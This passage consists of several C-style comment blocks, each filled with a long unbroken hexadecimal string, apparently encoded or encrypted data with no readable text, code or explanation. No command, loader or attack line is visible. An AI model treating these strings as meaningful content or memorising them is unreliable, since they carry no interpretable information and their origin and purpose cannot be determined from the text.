533a0c95eb11c794ae34af0a57fe8254c280122b435e1289673c472eee46a6bd5aade885c57ef62f1a7330d416554b07e763302f584a903d1708de419de3394b1cddab307bd687fac50fa89083b77efd48c977b65d29c6a62535a3cd1306f106e5a6063358792cc3602601544df9d4e20a45ed4e4509ef326f3b3bb38611243718cf8c04f87915b0f13309e17b5394839b9465fa3769a33fb34753b90c7530c672c4a60043fc0257fc7f0672f79981afce8aa15f335e500e16d5ac85b03e4a142cf9a03834b64e6e2cfb8a47ce1943a68e9b0494d39d0c09829062eac6b17b918ff6866e759394eea1cc8bc452b1bceadf783f30367befdf5876f3c31f06fd333afd8a15df418c5274408e16fc7da4f066c093d691b5277ff038be0a1ca7f3568a47052a9db9d3ae9628ac4d46373a60a50aa096c096bb639fa5e9fdc13f39d6c78027be74df44ec87e3216b86f912ac3c1adcebee37c009b95284bf140d6c131e228ba4b992ab1d32457493891c292b3d59bc4e772f5c719efbb7f66b36987004621920e5a5732a94dfee7be06dc431e71fcb5f7304546aec488a4d68ccee62389485d89f56b0f12b54bbe4b5b0317595a697b0b7b2aecc6e3e67caea6a03d4e234f67ad2de4bd010aef79b388421a61c2a57476880c5f4cb564986e708b15e70f8a586cb81b623b3f23ff941c199cfa79a33b643ec3a718f82beb3a1063a9ba77b3a38d5114ae78203fd1d125c2a6a0eba51ecd314b0a7cb251074c3ee9d1226d586c51270dfdbade84324fd3b79100f502f2453dfc8169b055e39631170670be49900595be22097e82625c33ac0f695317024d71c34b8a5b2c65b2e0dcd99fb2e3c0d6d2aa323c6545c0e522cbfb58f2e315c50cf6c956faa4e4771c10783540d70b7a53e4c4914fbc267e68e47108bf060f9016fa62982d51fabe2e59013f973199d5984ab13c043e74d2fac3250861e53e16861125b23fd1e9de5fd501328f572f156dee0e83b40e82fd368789116bbceb7a87038b51a59742574cc13e4f80cf76ca26a16ece5c1308e1f38b07e597a8c324db173935180e0afaefd3ccad2b0e9fa2777bc180a1c13832088390eb68c49e90bd15ca229f0bf32369d058ea57d83bb3f1b26b36eb37ea65ebf5c6b7398e5aa8d9b072f7bcf8e73286a13bbdd146cc1453f2ab35c9dfbdbc808e6db55ed421e93b1158b66a7e91897754c378cae89194b75b9c5384b87e1084d263db71b43ff1ed9f19974d261c19a620165cef5db9c8c82b170ade5a2184d80b8139767b6bcd9f63ed2cd792c1bb3f460082a55d6f2368e3562c226c6cf20e0a0d5136aa5b690d69c9f41da838dd10ef2875fe3b3bdca0cfb1a4f2683dc26cc4d1305e9e6afa066f1863eb2edfd44ae89f535ed054308db8164e21a42ec2111e453b2e5a8480c74d15d512dfd1727d0725f290d28610fd1273a3616e5cdfdf429fa7b8485aece0091d4a15406351276d519b4eabbdc4d21cd649e8043dd656506e8e4725c0ac3526df8d9d3c0e6c886557dcad5e5794a27f40aa90b9ec775f4886585703abf8166b5d2f91ca8c232d0051c75a370a330761c58b3bc92d7b8b9bc1b4236a60086eeb4b087b035357f9f3e8b3cdc77ad6cc94fa3050c5737135a9785c662eb53532a6159201362794568c38535e3cc130b9977c9857d44893127b927253609cda13e810325b9cead95c2edf17e70ae591378cdb27897c4414fcc6eb6681dfbf8ea596c4bf8829965002d0c011851dd051784abe59bdb9bbec09aa16785c4187ab368b52354d4a5c85809765b365abf12248ffd8ea482b1507448c70ab36e0e509e54a9554fb4fe7ccdecb49690490e6d43a99bf6b2c4fa47303e1fa07503783a4fa956e17d432e7c79b822e4102bcf0214*/
/*cf6fbb8208e383a9c85cbac7e765f443afdadcfa8392f45ee4c2367d4f00254dad9b01b2e26876595f20748bf8210fd1eb0017e6efec503ce819f93c8ad90cc0fed84b6adfed6bd5d40c2c994604d42e0baa1d069341a6d305eeb8a2da728407a85e8736e8848ba83df449cda01c760fa003a7aa4c902a55c9a7e647c7639327e52e8610a29a13143242cb440f0a95b600bdea08cefbc45eaa6425fe0007a95e936ba74bc91ab592e035def17665b6a72ad1b33121c6273b73631717ac3d6d8db1b2f5f12decc5dcf9020dedb696217168627631d388eeb769a538a2fea2797c77e4a149dffde8e08f4a22159279224adb3974f8edddc4d9eaa2957ce70abb7ef33df96de192d8bb18ea56a39f8548bb118b5245006ee248af22d39b8cb86858e070c9616b397b10152cd122e6adf864c3c824643386fa0643852491e6273d2fe3f2f0fa0c7b90c25b21a0e73c68fd45bd9b5146293f27c455b9dd4c2537b67aa548204569ebdb703877b1608e76e277d9f4c0aa7391fe483c66f9c07c38772024c8c6951617d31eb819ea7922a48746b2466a05778eff2a3c693ec8ed369fe88de46e40d95854293c7cdd25c142aa0b5c7be37a51244bcebb11336cb89027e8d79618c843c7d64ff57682edfb781aef8abc41f8b02fba005f3d289a2a5eedaf31c6494c325c46d4be9796a52a95ff4add0c773ea97f81fbeeba90022382750f59a49a5658ea309e05870459be03e3cb0027b40bc7645d9972815928d02b72f38cf30f01c2aa64eaf1055b7b3494555ede6dcd0d3d2b46437e3e570e4d8405765fcc1a099511799ceec28adf0f07ecf98c056b5e8c0f58e584ff4c64c53901829a57bc9e64345ddc1571fee936c6ecb9658824011fc9845359f9066894f22270ee90c5f87ce3fff772bca8a4a3950d86b56f2e86ce71841a4df3e6bae2a893734be6f66d4b305b2ea0aa0cb68ceda33d0aad55b3f880c79b4defe76001928c579e652b3431dc1f73b88bbb27192b04a274d328bff89c3b91b5f48be5e71c42659c96b1839ace72974d0d4218ad6bb7995ccffdf0fddc5b4cb7eb7f84d2792e26c1c43c5d9ed8c9a57069777a3f2ea7dbe6f1880102f0538e500f99f39bdb7005d9f7915fc7a3efffe633b53cdda35e0962cbb568a2a3d05a038b3dd0fecfcb628881ac3f994099da49c7f7473bbac163495ae49d16a0d9cf2f74cb04745061eda6f3f1c8aab8ae7f8db3cb92dcbb52419c846b560e782a519cf4ffd9a818fe79c9b410799e1be8be69cf00f2be24ba8615814324f00f06aadd5c5911edb6247768f23fc72248bbdfb967c332f1701b49ed02e9fbd384601324849579b44203f2b691dd929b86b79cfe9bf21910cea3213c033761e5195c95e593a6939601c9666bff3578aad1184bacbd74cd66bae4806c339fd4d759f2267c623cb9dd3adf5de2194fb1e6928378de389ca520c47aed3fc292ddfb82d7149869b9bb7f19436b137fd61488c2e001cb771e3546bd73db2f17b6b06adacb68a490148a968983e32e94fedb36df0a87529e5abd8c5a9d036143c35de0b4df2b4e13cf52fd378fc8350b8d5bfd4b969488d89d07ae1cce47a034be19086cd34f69f85fdea7f893f5b890749c4207f1eb9be285aced4f3c5f42c35f0acae72fd1facdddd3936970c687bf2d3d4ab8a12910dba000eb66f922eb1055c37a2887a9f63549000ca39cd7e5f86218d54095fdcd733f6f6a3cc3cd799418997521ac2004e37967a400e6cd7b88e73bd821bbc0581674c197fce9c6968f2a2505e9a72c913bd1d6af574e9e3cd9ee90bc3c971c85a7b796646166185b04e2bdc61f65ff6c56216bdcdd12a730e0394c2f4de283c7a9fd06d36327625b46da049098a6573b1be9c3ac743e16cd91a16dfbc8c94df8e537eb65060b0359ca6df7bc6978667dc19afc7186e4edd6164cd01cf8c8825e2901ce273d5f077a8a1ad3b315729dd2b7c66b6a494d1990a1a3cbe1b479f9f0c7436757f7947798a4103238971c08207457a16cffe6501a714367435f541f0eab9b40c0d87bdd07516ac785b63dae627aa56eb707d87ec78c8cca1ac34f659f92b4832e5cdbc0d4175c642289cbcfff5091153fac0206697bac1f0679bda9db77405646db0e8e84ae7762149cebc84d80b4ee700954a82c33a1927493061ab577c7d41db83fdd02c771d82dfec324de20bbd58cdc4730953f66538db69bcc025cf3dec29d6e071d0e964440657d9f4bbdc0563bdf0ee1e29d6e70440886f8f0c2f8b3852d8d8489c92b713951868cdc083255f74ea08889e79b92ceafe42a2494eb749ca8dbd087b3ff627e61277aa510776a85166ba00711c371547bfa224fb32c8c19ca284fe54950fc03db6a9787f94a0bf608fca571a175cfe58e71f385324032906afef698cc90916be5a4416d0a6a83055c0a293fe4dfb8740ebef8c924713a15eae8a0d240dd35544c289fdbd374c331ec8428b35baa0386588ad305e7ec1f24368ea0e1117848c6cdf31eab6cc8b153723f7ea77753ba43078ea762be26732c547d34f655340e9f709bef90c19388afd1b7e5e3925a9b9a3976b250fb6e570c15601b2cd7635a4732e87c96eba20685e7bf42faccafcabeba7b7015896b5aea66e90b225fa806f95efa764b693e23123911c03752832835a516af0b3faa53dbb575e122c9f2d519c79eb00158ec56b74e3cc18d6ca7041bbac7228a9e989d5592644b1c69b1aaa5d00e0dca094899d49cff8da0fb6b1069ac01040a90e10428ea0d4c7c6bc5532545a045beb2e9c3a76a16b033b7a715f17ad5aadcc7d023d4dde2d5*/
/*f5e9fa54158e460d6167499fc9767ab7a31bb50813a717677a32981a82bf8b1bef8f0e39d884255fcf9659645c48aa7e1c3591ef911496bd356255994a4b49b80f73b2e6f9993cbf73ff8fb1d7d736df5cefc4a2950ce6c57f9a376029de319f0e9939efef1eeb66e2a110271a76e0d78333b9af0e2962baa60071e9ce9b0b11cd7e9b553c1f64b6b8759620f18d1f1b769586dc90dbc998f60841ec82696aab5943e0537c05d88a60059989956a436e4b840bbc563923218dca96d049495514edef0a1c4230c9e3855f133ad508b4594ea5a9f485d1cd220af09386a89cf98766557a89531484383f2889b4505b05eb1726f3db627fc394f20b3b592b2b365dc6b1280437e5448210cea5b7b0a95dd8c2bf2f343f456c72cb0d9cc3d702f9ebc892063509094934d65908fb09b66ec1e3907bcf7cb5f5a9570f9653c635a734a503c7bc70924f0722e61ed1bec52f35b05fae700976233dbf106c5a6ba352ce7da4f46f5b9151b202393ee5421dff9dd2992472d778f075881370eb811a417639bb730c4649de909552904722f497d532759b4d0243ff2d0e436814b7e46361a552fc23091cc700fa7bd739ff55df8cb5983fd532d286fcebe4574cedde5483ab83527170c492c89b6b4b01353cad75d09101792d1bb35be068a6aedba3adf2844df24033160d61fce420dfd7c47aa536ce7540d3f64dc110919e9733c1b4a3fa86a5e29aaa6daf1eb5392014a522ce2f075499b77c7ef678253738716fc6051e8c4b3ad85b3dfe9b708d7df9769c3ea0e01646df1fdef25b5ad796b04f0cb21a7789a13ef71e29187729bee65aa38d9494db6e5b916e836a6cbd3bea4dcbc0c5121d6843f2b1e913f90a0f28324595717d6a1f5790d8bbab6d3bc2b55be61e475967c44a6630dc102e68892f7a0d2497eb1782021975e04b6151c6f6fe470eb528ff4843bb1a18bcf88f4b05c007e310be4a9ca591e1a059c2d23c7897032e677f128ca97fb17886c5295b89b2de1392dfc667b3fe8c3e195edb412930f717161ff7e926a26b5fd219087e1d091c74feefd68260ac2ea133ef0d1d297de629e6a745abe59fa7877550367e750c18f62342e716b61419a339e1ff61abbd0cbc232bd27484d429bf42dd1b11441ca70d7eb87223cb3f75581a7d7599d6990ac617283c86142f563fffb5b4700c72a394489674e7263ebf3c1dae4535ba147d2ae1855a8c5e2969122d52a6b2fa5ce391fdd78025fe1f08c2e119f9357330f3c80fe3b1e061cdd56f01610e03fb7ea993218d29dc9a4994d6fab6d67d3febb8540218f2ebe9d22c5ac2163813429c7bafd57cee0c521f07606c4ab639e725be572f51c1287613ff0cd2790ad670f1638414c398326808fb7c9f34e7f7f166cc2e13230e81e0889f917b81af754db215996732de146650007ee273a27009b494776301932c0161dc871fcfeea63f61e64f892e478803e61810cfd906642cff171858923b37bef5f723fa98b92be76e906ee7ac09f7fbe2fe8685e241fc15933c0db424bece6efd8378be7340c778c0e0918c41c2eee5f9898b6a916ff2cfa623c6a767821f189dcfe146ecce347ee8945fea9b209e4e0b88007b9cbc0848338be35317a699e7f2a01586f99eb33c852495f9caec1fad2e6ccd27dd0dfc0be22da93fd4ea61e1578dfb55645fb3f77aeec4624419e944517b0de2b36aa1d706ee96767fceecf0b0a72530acfe952af052c19b4a5cd0100bb7d8f689484ab055be4bbdb28d6cd188e5479531a6ef243a453483db3f3c50df2df2f82840c095ea389bf93514173d75c51f92d81995ae0e1613f5b1eb2dfb5f485ea2f6fb2d17018bedb7cddcbf74aa245d3380fcdd5f048c559cda8c322ccbb67778970f2ac7a0b5aa9917c07b2744162cf9786b26fffaf428ad64016f86a3b6f7bf61b165cb1d20f621bd7f14568d9f7f88a0eb2ff41c066642e1632ed60db1cb7f5d9190dc9830b41c8f83bdd5da7cedde6a47b24b98225c2c175579cea79000775df1fc747a952c29723c780a7761f4f5676bbcb57d15699996113fb8fe1f667dcce52310b1cd52b6ed0dd442fea992607fd8d0345afa45df7f4644654a1c5b0b4b296420652383dc37e5ce2a059be382e5572c20b3516c00268fddf5bdbbe00eca067cdc859ad4ac1d88fde2d802b11f135666906b6ab2c8acf9a278a691164b09c40529570e868db73c3de54d56aee109b8c234dbfdcab262356ad211f957adbce5fa007d39d9e4ece65acdb5747b429cc5ae8710adf1b7497c3ade3c35944208b3fbc22181457a029521f747c8f13b58527c519efa1c1a9b64585f69839c3d6df2a7eedb74138c01f5ad44ae32155f1a9427aab297fa37cc309b626a943896f6dfa8b91811e0930dbeff2cb1c076b055977166878c89ebd7e25135cf9dc96912b54068b6aec3c1473c8d437e49ddfa451b68e5515d2fdbed1bde675493a6072416f830e1d271f5559129389aedfc7e425c541df0d752a2d4228ad2b098e1a091c88a8fc56a7e6d7e100f2ad6bc0627d89539ac3b3ff579d128747bdc4ac8b669ceb09731dfa51dc7faf0b65fb98a4b9cf5d0425db5033e56398b996c235a16240b402f1f43cbfefc1f578328da6e5a157b03e88f1dc5ce2804c2b21ff14153f71a0fac810f13cd1ae18dd42f3f184be85723bbb5f9e280508f3b572c537738eb819dfe952e8601d5ad1442c807875dd0a5a368749dfbf9a6c991d703da520b1826a0838b9a6e3a99e9464a7bf265681d3cb7e85419ac804f9578735639415a5ab17217427a67873a2f62096ccae70b97090ef899e5be*/
/*c5428ccf04f0ea348ff1613c5910cc5f0114737545c25a4c2a291c7cfccf0fe6fd31136b58eba038a4e6a958c4dec2816fea2bec511539187dc9483f5cde3eb1968562aa03399c56a56d4c466ba74706d029e4691ad6b10c626277ab34c1dfb89df2244c1e671575b437a2bf8c6cb833dfbb9a30eea07f77817a89f8e077dc261d291181a234fa26608f55cfe26344ae1f774b34285880482c75184505d68a3da657c7b096cbfbf8dc025d697140866d30a2e084a9fe8f2e59c448f77ebee667ff1c2743ebdd17622c653df1392b1b210288a9cad6f25b111183c6e00b2c2c1a8b23f9160b35b6d2bd3d689cbcf96b9b9cd455e18cd8877bce1fcdb8f6c55ab0d8159bde37c0785bcf790d41ab65f141338d0ff09a181f42201c781ff02949357b0f43265ca39277c46d8eeaeb5d322292cd578e24ef2b55752cf2a1f667e5378324168c89b3a37d584831ec409fffd3ad3d2489fad244fb5f846aa4360c1feda5e5bd3f5fc1a4e78c419c35e8c70ea7d0394c629d519d26b99d3fd4aded1db18fadb0dca9694bc58eada0c266b9a03feb14315bfa520d6d315f82e8258bc2bcf24a894c5a405ae5fbcdf8497ec72c59294eda3e635695c8015c977b517648adf040adc3b8a1b087a0800b79047d4360fee0656588fb51560efce398d27e1f5d5291a8f78f9d807ebdc99d2d93e8a309d52efe8e94379736971c6f0626122e7506eb6210e8a1003e4aeeaa8e38585558e8e771a36c13403d33ec8a4a76a3b1df4aa6be78b623bcd4ef33ff76507c7f4e8e16046058a857bdac25b187e8fa6ef7dfab47ee89afd4f27ae53c5d74097a12ab87ac2800b769bd2712f6123ed0805417f199061d99bcf3a2801392c839cf4a620e078f4b2f79368a5e8b45aac872e9d4f597c7fdd894c2934f2f47dec54b19db48317dfa56353da62b3a96439ad574feac9c3b428d03f3a26b0ea1cccf6392375dea0a485d07aba17c895f46740d3698403340f326e1143d69db3b4cf03fd914cc708a5f395b145d67eb279bbe8642cfcbcf2495a575e4ff43ddb4576da08ba2c78137c3118ea523798cf54eed5fe313fda85dad8acae8118429c35028410bb6695b2e42e011140f40d0a03807c3a0edee4dbcaaae40b298877a7f8a2110d33043a177930b4cbc58e5b3d47b408a8912b17e14b992c8001ccd8b8a3383669a32a65e167cbaf2a9ad5d2f8226aee64bdf8690015687824935bd34d12e2c3263ce0b18d7e1c9358b9256613f82c9b5a0d11d6a8b010cf4a76ca5afb6ad4e758a9228265890691650a62e8b45e72be49482df5b3876236c52740544e11daf60a4c78559fb6fecfddaff16c2f832813cb60436da4dcb5eb8c85ddcec1620cb55a030e7bed79c3f22f55c1e88654625e1bc246db31a58367751a5ad92ff268913fc49918838320ebb6d94783ad8bcbfc166aeb787e47fa796b127f961eb18136042cad5add452dc7f2e594690ea2a6d9699f3f19071f91a237b81fd97d52dc8fc7a59ec4f28fcd103175ab08d6917c342f7e3bc06629baa4d353d756dd93962e26202470399b2a7bec8adad247f897d3167d36ed540bfd4281bb04bd886d499509254efd50f893ebc0624f540f29b0428d4db635139eae362d514dac47a3890264ec922f7395bdcc17a01e119cc68f3d06b19c0e26d3900abbca085df0edb6baf5645a7e4f6b8d4e5fb0c3fe5726cd6805165158e89face20e4e1e020e4ad9ab071ae8aefcd973df2bfa79a1c8e089ae78634028d057df05789e6f8d478fe0090ed37741fbd685d5f45e69de989cff369120cd26ac127cd6f5234e6d2d3f1ac4ed1331f031c86264fbd99722a73e83a9d993b19e76c075faa57992c1797a67ceb8dc6e95290b350becd1c2d35f712a31631d2fddce415b7eb3fc51dc64d2bdc44ef58975d408edafbdd7521d1f0e73f3821b3119bd2b99f1fd6401a6c87ee3743222bd76214b0382b6be1ef6ba81aa1ca739667764564ca42f11de45e518a7dfc4b8323c19a801d77092b2f40b658197b71252f2bca01cbae878108f0a221a77ca536d3789c8bd7f3dcddeed98a0d3bbf1c44abe18ffb1c8241fcc49154d6d67a1f98ff9cd32e83d82c7300222a2397dc18cc931d2a53bd989795aac4ea7af7a468dd842b3c92e1cbfdbb600cf913cfaacc32a306b944aeefe5f904f10ddb189d5c80feaa6c5398900891f7bd218506f18330d409a0d823f59770de60bd3b14effbc064fcfb28aac3012418e30ba201e27e90d1867388d038b8b76599d462866bc2c0b3a4c6d1a08ef6bc7db6ede7145c953905537966022bd4a497cbedcb5f4a57ab26baa3cdbcb387e133d3ad8026f66703b8ab0e779afd34c3c87cc28c9c7178b61b20e3ce7b46057e57f8fc2a90a99f210e13686945e205239aea8475af31c2f96e62ed247fdf73635f54a6ad07b7f4ec793354b9cedbb9ae8fa54f31068a5647bf2b54f66ab193ade69bbdc88434a6785f44ea014bdbe1cea0eabbe9a05d0503a8f113f0f3952524db8788230c3ca82a2432e744dab15962d9e624c358260e84a02aa5479a123980fe4f437e2a5fff75c2825ccd1904609eacdcab379e389af61b4cec214e54345afcdb600a84751f04c480f674d37124e6d1f89261e27bb5d8bdc4812bcd342fe7a0d32ac959ea804f46a7fcd2e5b15e05a3f4973c34abec3986546a123f039c3d875cf064ff3a6671bcd193745e97048a2cb139aaf90081730e55fba3d23669e0d31bfae57da81fc175f335d4e410ee9d8f17ce23b4ce3d2bb739472d5a9e6440f65e59cab6088ff6e25c3ff3dd70bee3ec68c2fca512ce*/
/*5adca4c0cc0a605fd430769fbc7c23de9ffce1902a09d525dbf20367fba785f72579d44704b70807583d2b2739ab9d8a80ffcd157a8b0db17a6f20f982b73d1ac30fb3e4274b7d8b5c99a5765c97e3f4adff4f39ebf326f96267edf3df6a5f3c8fd296c3040e34945fb6323705435b7c67ee5f3d42fca5d5c757dba02f19285453dc433d7cd4fecc426a26694dfaf1b26ecfb6dc8439a2f9ccaaa2e7c5d28b17b659fffac04f9df1b59468d07ec647608208d4cb2b8e8684195a9b56df6b40a3b023950ff19cf9d644203524ff54aecfc54038883c01d8f8c458946c22cad7d831a8e6d76a8ac5c5ed035df7dbcc3dd041c08b82f156d88ab00c3f79b1d028779fe981042feeefcd18424cfb62b711e85260d835eac6cea6d15a5edba0ea23418d9363d2bc4fc7061866dc0fb54841d8bcb457d3d0c43dd41124c71b3245bf4eacc5f362f7c50c1dd6b76f9393803528f94016a23d8f3f5200152dfc3328a5a1db1445a08c1f3933b46e7cd620a7991dc31df7715476bd11f98a8cdd54edae5f1817624211f8fb134e429ce1fae4f312c6841ffd7259737097e3023439de47d9dd9c5dd1eef0d268517969722abc991b13c7837fbf00f7d2e1e161c31cbd318d3c6d1874bab8d58f1fb0e2cd8dabc9a7c9f23446d9e8a3cf2aba1e64ffe6b8cc2c8b28b69a7a9dd0cb24123c9be1a9bd6bdf9f3992694fa717eeb96dcd8fd2b335c3a576e3084ea7e06126f8db6e201695a75955f3bddc554e022485714678fb1e06c8f0474445f42ed6e996ad146b19ebbee36729a18d438b4da34aef6f30bab7962e3657f430269af5dcbb089a56c624367d15202cb708a84826752c76e997b4110f37084e695beb42e85b3c785a33087fc81ea9e518c522cfc7d25d95bd4ac604ae1aee0f96d3bef07e7f5979d999b6b53e9ddb1a9a2df902dd336dd514347c83bfa9c6ed5f4080b5b18c7fd241618fe5964c18d18e7b31ba2a738507a283780fcdfdab42aaf66ffe1ef0924f016a85b8c79627af4c45468987dc906698cf5c98320c911103cd10538d8efdd29bd156655c793bb4424c612cfe2f03e682d0fc21033beff41a1ac31f74cba7fe651390de85ab90cedc348b0db34541b02bcb95500880c470b9ce19a520cca4397a2ad0222fec4bae05405541c3bb9247c1c53e2622fc3ac5e50c75723db55a4dd093ced5c3123ce7130fe2abf054574132a17c9fb191e4cfbb595a135aa2334c6072e7d7cd64b49fe0f5df9810951748f5781c2eab26d4374db4a4b78ebc5cee382b79620d3ebbd99c035db2ed0c9650358e1931e223c4b8bc38766e038e4954da2548a4271968c54bc667bbc0d2abb6c07bef9220480536123c91a1eaefe798600f2c6ff68af009af4bf4eba99abbb939966c5f0c0a5aead17d1a4b576fce6e80b9fc747c8745e2b43713bd715aaca5c1832a4c31e182d133a1c96aa4570d78e5ce052fe7f46a7326b04c399e6f87af088cceebbc22260311bcaa2d908cc4d237cae986f314737a123ae7ff3996b74aaffbda1807e6fbcadb4b7002c2b3649799271aa63213307edb0f0fd39859cac50af51ce9b09921fbe316ddefb7be879ef52f54b2124e40c102c7a15adc5ee09d1623d349ee767dd869b67481a10713cc6a5de01d146961e9dceb88504d0341dee4f45c245c5c88f61b79c32ef3aadb58ace763a4e7336cfc59edb19865c29c3de2646c70e2f0517272abd4637ab12f2a77c75f692c5c52826e7fab9996a3d1ee56cebd3ba9347996abfc30003b13c1debf3004b0bd168db1f7bdfb2130cc68c93ac63cb63332ba38bdccc8bf8e427528f1612dc1be5947f39da9b166395e71198322f82b4831ec9eb7cd4e8c8e835bc28d22e135af6944083dbc8517f0474a471c63872db1427f0cf8932cc5b1d5467c3f31bc7d407f6f11ce883a258de3e598fafcf7d5e4b870d6215d0b8e9f42899099f48408ef7609d1e3832ce94d86b354e958dbcf9afb9fc7b100afe3a8aa99c16859d97775c7bb610abfbf3ab9d871e24e2e51bf31526dc508f627dd54aa8575cdf4e768c3e3e108933792add3f6fe792f531efbb8aea608af896aa89578f267f225787fc5bcfd521029f2298aa4f07dd3ffb63c6a8f6b822ce1dc046d3e449b36a5854591e354db993df1d83d4c89f951f8ad031bf1fa59debbfa33be1163f8adeaf6af03a217e5dc1a92efbe2b51120e085fca8de019b85d5f7d6ee90e16f4f682b5c332e064c87a9413bfad95f476eb2181045a073e05d4d2a2d69f80041db48dba80e599cbb203cca2790bd1d7cc0fe91c2a65a799434e670b59a62a3c2c46ac5265dcd9a617471addebfb3684c45f695ba8d4e78c3c9e15332bdea8a617d1e988c665f49e8d7d8a5001c90779dca9879f1a08d2be8df50e79dcdb939dc4e6d5dba40ffa64b5763cefe2e5e7cac90e873931bdbb4658414fcf8f80d4434a219edc901711a204808f6f73aaeb4edfef834d529a5e44a3b0541d2d005d8b709d3e7fbc51bd05ebac30a403744f546ac07f861e20bd145f851e07268e913dbbb3cf081079412e7de7fa372fe9cb56b319176d21cd344cb2dd5249ed5057a62b8ae26794e6de5f91657f65d328cb1b0b87932e9e9fa0d0844c35fdd8dedf315572306f35873f3c1803333909607ebe76d737e748d89589780121d628adfde84742ba74dc602a2170559c9d99d2436242a9ff4c29880f264962fec174385215ff6c16edb81d8d086ae4043dcb5ed5305b8e6fc607e893cd09663a05824fd4d58c2996703909d6a51409b6bb4795a4f0fa46ef1482dff144887c7597cc8af311eb8dcd*/
/*4a55d13c176a8857d8e764c034fe6813d80e790c4fb92c14599f04aa75d072668b8c85f1a586dbdb68da24022b3ef5a61022494049209004e19dbc4c63187cbe7e6a49e672aef36b162f9eab844149a0975398933c0d47cee90d88df972b2fd829d5672f485cb01af6413c26012b3ae35cb7a0016e43f4053fcec1974efe3fdb30ba7494240fc4b0ece24919dc603aaf0ffe4424e8e9bd8a6915a3c04e6dfca72535411d294d427ef1d5b355336409fdc7e7d21d978b6db91f18fed6992e8a372f94c24dcccfc018a916bc9bb9ce6138fb8fcdba445a4f58dfe6d38467121b121e3db3223056a4c0f65b02a5dbddb10eeaa6142dc46c2ddd3b26ec42373326edbb29b7d3a7729601da2d32c963e1cdc8641f601065645de78124fcd28df6c5416802015fb9865dc9f76fe53247acb0c4b6e0962a282ad1deb0d51083ae55448e53b70497c9b499e335b1cddbdee0d61c0d3d47847b79cf7262bcf08ab353bce6e23970362e34d3bfe0ab8f164d3f8ac28d1b3d2f1c2c7ebaea920041fabb5a7b36b6fd96c37222b1cb1eb51e3d91191849853ce37e32678fcbd9161ed9136428db3a649f32018795edcc00369d6869ff657e69ae2cdf4a06463048536e23b7ea65bea0561b3b4552fe641f4f981ea465ed304fb5be7e1c14c829ca332b8be1103f70d3f914d2b55c4920b964caf289eddd01c8e23ba003709d695c3455f1a35fdaebd40ca6ee844ef56b4d367cb129f90356e975a9d1fa9fa1b416a1cf1b16b2e6d3df3a9011fc47c5a3daff1f48467658228ac881976a6f8490659c8abc28ef6c1f1349792041b65f645460b31593198a2439f58725c4c634d6735885addb7c299289237d04b84e5d05579804ba096d2dd09467e2cd2c8d930192372722ea2d90bc5937cae21c2e82db0d103a4af6a22ac445acbee7b65a4ddfcb41716e6d4e331d7649e9935eab160fc144210e29ee821c5b59c7c4e75354e70438b19bf841d786c70c3239dcb4b5c113dc12518c56502b53259ec2f9ee2c301c1301c406cdf7e4a384389af371a6eff88bcaf68eadf6ff4bf9456f23b9ef302dd1394cfd84c32c63854ed12d87287a08b6205980d51413d4f79c9a687e93a4e1cdeecfef95bb8e9ee6919ca92815ffc6fa0c942680dbb089b95dbc8cc61a99bfdc5fb792548161767c20ff3903da1756ce89a5df3d1c48ebf66520545d20df354520241176c4065dd99b2660dfd9a9c5f6dee6198528fd6c484834e8abde0f801816edf68d825112bec3fdd6b1ea70b8d26a6b33cfb8267da5248d278331d73fe5f63dc9dcaec9905a2a94c7c8b5648d6533cd8cd4186984660a960a2aa0dbf29c3554a69f1251a45e117b4d8d2fb95e3afa18f7b33124ac993a80c319c9a588e1360ab5a0f94519078a4c4c6381d5d491de69158bd2a65a4a4eafb8e66e88d3969e50e5df595bd3ca4ad4ebac0971f8da17d1e3b94f83fa1d66b6667198b3135037cae19677ab437d61a789944a06e73e326c2c124337a5be7cc661724ec2d8e285b9451ae199fae76754058cec46427af021ea7ec108ccce675565eda7223b4843de35e924f3d723a3b1d9e1889215e8774de5ec2bdc818e23f646c0a83594ba2763db0e751330673e5faa46f395d07d79cd545a72f5590b8973a171bc5f9c3c13928c8c53eb9eb3e630aaf1fc9dd64df53d11b010ba96ba5d69c8d2fcdf670082cbc596e67d977a35f9371d73f172e78c7682e8c13a7ca65eed30f0b5e5ebbe1a628f2000c24a716d661926aed8ef10287b19f382976391cb0ff566f8406b26b91c3f9af23492695e8586a9b821235171fe29f3204c3b7a6f3dee5fe7aa066956dd38a3f08f6a8bc40f8fdef53fccb279b887df8e9f64a83574c960aaa69c02b9190fcaa001c3055289355372339aaf829263d5bfe30596f61d1e2538e324d4a7830d5e689e4b12e2a7075e5b97d3145c470dab052c95f911b57526ea0b3eca342bbb759e5eab9e6811ad74077a917fdbf182fcf9acdb025206ea957bb8e61cbde93dfe48fadee1560d92206fada086b77750245ad78f1f8bb10b618c2ef359035884de29baed5206739b62cf1a45037a8c8495bf7801fc702a34c175b1a7b5a7926589f98d20414aeea3cd2f59725a1bfdc440f5e70717ec1f3d3f25ee8b0c2b9b34cef5fd575c624b1aec1e1d3f73b35d00b4d5f4f371d86f6500265d4a628fc5f050891fd522eaa51805fab6843e9b627f31c04c7c158117527023502be735de453112b6fe652c61bb33d30a55026524c8af5656e73f71c97f883098391c5ee45910d1b4f7240f0175fca69eb3dd8be0a6219b2a0c53bfa9429bed2a1a618e5efda4139305d70b131ba49ffb5db77d078a7cd21eeb0cda3716e3265ab1e7916c526cdb891f51e3adb54e2d261c5d0a0f6490c494199418bc1baa1a2a1b6c922aea582cd7ab5a5bb480e1fde2bb8d7ba549dc43bd747f28f27889ed2b203e97bb5b56b2ecbe97b074adf226491d86bb88f343bcaac054c604235e0a36a1b932ad78a09327c779af488d91b4e7f1324ed4d9f1202f7219cc735d78cbf1f4da00fa6a3defba5471a2228588ccfda9f1a6babf355d5ad565b595fb1c64a3f19c1159c83e9d733ba3212c155d2a08973df9eef4fedd9f531db7ce637f2625b253a5bcf8b4d8e37aa5d1a520b58057367978aeb555dcbd4f34b332065d0e0ff5137a4e3cb153c40398573116be71a9996a42b03fe407eb1c6f84d9fdc65c29029ba8759f4efa3218141a11ef43383a1c992ac788cf2dfd5a89cb27b8e6de05c7d34cd6735ac03dd1ccf1a9d65a76dd6ec7c0c16ead*/
